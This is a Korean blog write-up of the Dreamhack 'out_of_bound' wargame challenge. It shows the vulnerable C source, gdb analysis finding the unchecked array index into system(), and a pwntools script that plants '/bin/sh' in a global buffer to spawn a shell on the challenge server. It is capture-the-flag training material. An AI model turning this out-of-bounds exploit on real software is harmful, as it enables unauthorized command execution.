728x90
반응형
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
코드를 요약하자면
read 함수로 name 변수에 값을 받아 저장하며,
scanf 함수로 정수를 받아 이를 참조하여 command 배열에서 값을 가져오고,
배열의 문자열을 가져와서 system 함수를 실행하는데,
값을 가져올때 그 크기를 체크하지 않아 다른 값을 불러와 system 함수를 실행할 수 있게 된다.
즉, 어딘가에 있을 /bin/sh 문자열을 찾아서 그 위치를 scanf 함수의 입력값으로 사용하면 될 것으로 생각된다.
여기서 name 변수와 command 변수는 전역 변수로 선언되었기에 코드 영역 어딘가에 근접하여 위치하고 있을 것으로 예상된다.
이를 gdb로 확인해보자.
우선 command 변수의 위치를 확인해보면
gef➤ disas main
Dump of assembler code for function main:
...
0x0804872c <+97>: call 0x8048540 <__isoc99_scanf@plt>
0x08048731 <+102>: add $0x10,%esp
0x08048734 <+105>: mov -0x10(%ebp),%eax
0x08048737 <+108>: mov 0x804a060(,%eax,4),%eax
0x0804873e <+115>: sub $0xc,%esp
0x08048741 <+118>: push %eax
0x08048742 <+119>: call 0x8048500 <system@plt>
...
main 함수 내에 위치가 명시되어있듯이 0x804a060이다.
name 변수는 gdb에서 프로그램 실행 후 임의의 값을 넣고 grep 명령어를 통해 찾을 수 있다.
gef➤ b *main+108
Breakpoint 1 at 0x8048737
gef➤ r
Starting program: /home/kali/Downloads/b29477c4-c1f8-4dec-afb7-482a5478e87c/out_of_bound
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc9000'
Admin name: AAAAAAAAAA
What do you want?: 1
gef➤ grep AAAAAAAAAA
[+] Searching 'AAAAAAAAAA' in memory
[+] In '/home/kali/Downloads/b29477c4-c1f8-4dec-afb7-482a5478e87c/out_of_bound'(0x804a000-0x804b000), permission=rw-
0x804a0ac - 0x804a0b8 → "AAAAAAAAAA\n"
이를 통해 두 변수의 위치 차이를 구할 수 있다.
gef➤ p 0x804a0ac-0x804a060
$1 = 0x4c
여기서 중요한 부분은 배열의 주소를 가지고 문자열을 찾기 때문에 문자열의 주소를 직접적으로 system 함수의 값으로 사용하면 안된다.
예를 들어 command 배열의 값들을 보면 아래와 같이 문자열이 아닌 각 문자열의 주소를 담고 있는 것을 볼 수 있다.
0x804a060 <command>: 0x080487f0 0x080487f4 0x080487f7 0x080487fa
0x804a070 <command+16>: 0x080487fd 0x00000000 0x00000000 0x00000000
0x804a080 <command+32>: 0x00000000 0x00000000
gef➤ x/s 0x80487f0
0x80487f0: "cat"
gef➤ x/s 0x80487f4
0x80487f4: "ls"
gef➤ x/s 0x80487f7
0x80487f7: "id"
gef➤ x/s 0x80487fa
0x80487fa: "ps"
gef➤ x/s 0x80487fd
0x80487fd: "file ./oob"
그러므로 호출된 배열의 주소는 문자열의 주소를 담고 있는 곳이어야 한다.
또한 scanf로 입력받는 값은 배열의 각 주소를 가르키기에 4 byte 단위로 계산되어야한다.
이를 모아 페이로드를 작성해보면 아래와 같다.
from pwn import *
p = remote('host3.dreamhack.games',21160)
#p = process('./out_of_bound')
i=0x4c / 4
pay = b''
pay += p32(0x804a0ac+4)
pay += b'/bin/sh'
p.sendafter(b': ',pay)
p.sendafter(b': ',str(int(i)))
p.interactive()
┌──(kali㉿kali)-[~/Downloads/b29477c4-c1f8-4dec-afb7-482a5478e87c]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 21160: Done
/home/kali/Downloads/b29477c4-c1f8-4dec-afb7-482a5478e87c/a.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendafter(b': ',str(int(i)))
[*] Switching to interactive mode
$ id
$ id
uid=1000(out_of_bound) gid=1000(out_of_bound) groups=1000(out_of_bound)
$ cat flag
DH{----------#플래그는 삭제}
728x90
반응형
'Wargame > Dreamhack' 카테고리의 다른 글
basic_exploitation_003 (0) | 2022.08.01 |
---|---|
basic_exploitation_002 (0) | 2022.07.30 |
oneshot (0) | 2022.07.29 |
hook (0) | 2022.07.29 |
fho (0) | 2022.07.27 |